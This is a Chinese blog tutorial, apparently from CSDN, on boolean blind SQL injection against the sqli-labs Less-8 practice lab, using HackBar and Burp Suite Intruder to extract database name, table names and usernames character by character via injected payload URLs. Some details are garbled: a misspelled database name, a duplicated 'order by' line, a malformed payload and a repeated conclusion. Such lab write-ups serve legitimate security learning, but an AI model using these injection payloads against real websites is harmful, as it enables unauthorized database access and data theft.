布尔盲注(结合BurpSuite暴力破解)

sql手工注入-布尔盲注(结合BurpSuite暴力破解)超详解

1、概述

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入,称为盲注。盲注根据展现方式,分为boolean型盲注和时间型盲注

Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。

Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。

2、sql知识储备

2.1 构造闭合:

在sql数据库中 – 空格后面是注释的内容

在这里插入图片描述

但是一般资深的程序员喜欢在’-- ’ 后面跟上加号表示此处有空格,所以现在常见到的都是’-- +’ 其实加号是被注释掉的,只是为了使’–'后面的空格更加明显.

在这里插入图片描述

2.2 本次实战必备sql常用函数

通过长度判断 length(): length(database())>=x

通过字符判断substr(): substr(database(),1,1) =‘s’

通过ascII码判断:ascii(): ascii(substr(database(),1,1)) =x

3、工具准备

3.1火狐浏览器插件(hackbar)

用途:方便向网页输入参数

img

火狐插件市场即可下载

3.2 BurpSuite 工具

这个可以网上自行下载,这里不做赘述(参考:http://t.csdnimg.cn/o7aIQ)

img

4、sqli 靶场第八关 实战

img

4.1 快速判断注入类型

通过之前的学习发现既不能使用联合查询也不能使用报错

http://localhost/Less-8/?id=1 									//显示正常
http://localhost/Less-8/?id=1'                                //显示异常
此情况说明后面没有闭合完全,所以要使用注释符(-- +)构造闭合
http://localhost/Less-8/?id=1' -- +                        //显示正常
http://localhost/Less-8/?id=1' and 1=1                         //显示正常
http://localhost/Less-8/?id=1' and 1=2                         //显示异常,说明此处存在注入点
//判断回显列数
http://localhost/Less-8/?id=1' order by 3 -- s                 //显示正常
http://localhost/Less-8/?id=1' order by 3 -- s                 //显示异常
//说明回显列数为3
//首先尝试最简单的联合查询
http://localhost/Less-8/?id=1' union select 1,2,3 -- s          //显示正常,但是没有回显点,说明不能用联合查询

//接着尝试报错注入
http://localhost/Less-8/?id=1' and ExtractValue('1', concat('~',database(),'~')) -- s //没有显示报错信息,所以不能使用报错查询

//综上既不能使用联合查询也不能使用报错

所以开始尝试布尔型注入

4.2 首先判断当前数据库名的长度(采用二分法)

我先假设目标数据库名字的长度为50,逐步用二分法尝试,直到完全测出目标数据库长度

http://localhost/Less-8/?id=1' and length(database())>50 -- s 			//显示异常
http://localhost/Less-8/?id=1' and length(database())>25 -- s 			//显示异常
http://localhost/Less-8/?id=1' and length(database())>12 -- s      		//显示异常
http://localhost/Less-8/?id=1' and length(database())>6 -- s 			//显示正常,说明长度在6~12之间			
http://localhost/Less-8/?id=1' and length(database())>7 -- s 			//显示正常
http://localhost/Less-8/?id=1' and length(database())>8 -- s 			//显示异常
大于7显示正常但是小于8显示异常,说明数据库名字的长度就是8
http://localhost/Less-8/?id=1' and length(database())=8 -- s 			//显示正常

在这里插入图片描述

4.3 判断数据库的具体字符

这里我就要采用工具(BurpSuite)来帮忙了,如果人力一条一条的判断时间花费就太长了,布尔注入就是这么的麻烦

这里要一个字母一个字母的来判断

判断方法

方法:通过substr()一个一个截取数据库名称的字符串,然后用ASCII()函数返回值与自己设定的值对比,然后查表就能得到一个一个的字母
SELECT SUBSTR(DATABASE(),1,1); 										#截取数据库名称的第一个字符
SELECT ASCII(SUBSTR(DATABASE(),1,1)); 					#将截取的字符,转换为ascll码,方便与比对
SELECT ASCII(SUBSTR(DATABASE(),1,1))<50; 							#成功就返回1,不成功就返回0

借助BurpSuite工具(安装方法参见:http://t.csdnimg.cn/rwXrj)

http://localhost/Less-8/?id=1' and (select ascii(substr(database(),1,1))>1) -- s
4.3.1 开启代理,同时开启BurpSuite捕获

在这里插入图片描述

在这里插入图片描述

4.3.2 查看捕获包

在这里插入图片描述

4.3.3 发送到爆破模块

在这里插入图片描述

4.3.4 设置爆破字段并选择爆破模式(sniper 狙击手模式)

在这里插入图片描述

ASCII对照表:http://ascii.wjccx.com/

4.3.5 配置爆破范围

在这里插入图片描述

4.3.6 开始爆破

第一个字符ascii值为115—> s

在这里插入图片描述

然后截取第二个字符

在这里插入图片描述

继续爆破第二个

第二个字符ascii值为101—> e

在这里插入图片描述

以此类推,重复上述步骤

第三个字符ascii值为99—> c

在这里插入图片描述

第四个字符ascii值为117—> u

在这里插入图片描述

第五个字符ascii值为114—> r

在这里插入图片描述

第六个字符ascii值为105—> i

在这里插入图片描述

第七个字符ascii值为116—> t

在这里插入图片描述

第八个字符ascii值为121—> y

在这里插入图片描述

4.3.7 合并爆破结果

数据库的名称为: seurity

再接再厉,继续爆破

4.4 判断表长度

老规矩还是采用二分法判断,不过这里要注意我们这里判断的是第一张表的长度

http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>50 -- s 								//显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>25 -- s 								//显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>12 -- s 								//显示异常
.........
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6-- s									//显示正常
说明第一张表的名字长度为6

判断第二张表的长度(改变limit 的值即可)

http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>50 -- s 								//显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>25 -- s 								//显示异常
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>12 -- s 								//显示异常
.........
http://localhost/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8-- s									//显示正常
说明第一张表的名字长度为8

注意:到limit 5,1会显示异常,说明只有四张表的

4.5 判断每个表名每个对应字符的ascii值(出于篇幅考虑这里不在演示如何使用工具,与上述大同小异)

4.5.1 判断第1个表名的所有字符的ascii值(emali)

判断语法

http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>80 -- s

加粗样式

4.5.2 判断第2个表名的所有字符的ascii值(referers)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>80 -- s
4.5.3 判断第3个表名的所有字符的ascii值(uagents)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))>80 -- s
4.5.4 判断第4个表名的所有字符的ascii值(users)
http://localhost/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))>80 -- s

4.6 如果找到users表,表中的字段 就获取内容值

判断长度:

http://localhost/Less-8/?id=1' and (length(username) from users limit 0,1)>4 -- s

判断内容:

http://localhost/Less-8/?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))>68

5、总结

布尔盲注确实是很麻烦,不过在实战中如果不可避免的要用到这个方法的话,也只能用,毕竟它确实能解决问题,我认为我作为初学者勤奋,苦练是快速进步的良好途径。

最后创作不易,请点赞收藏支持一波!后续会持续更新!
limit 0,1)>4 – s


判断内容:

http://localhost/Less-8/?id=1’ and (ascii(substr((select username from users limit 0,1),1,1)))>68


## 5、总结

布尔盲注确实是很麻烦,不过在实战中如果不可避免的要用到这个方法的话,也只能用,毕竟它确实能解决问题。

最后创作不易,请点赞收藏支持一波!后续会持续更新!

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值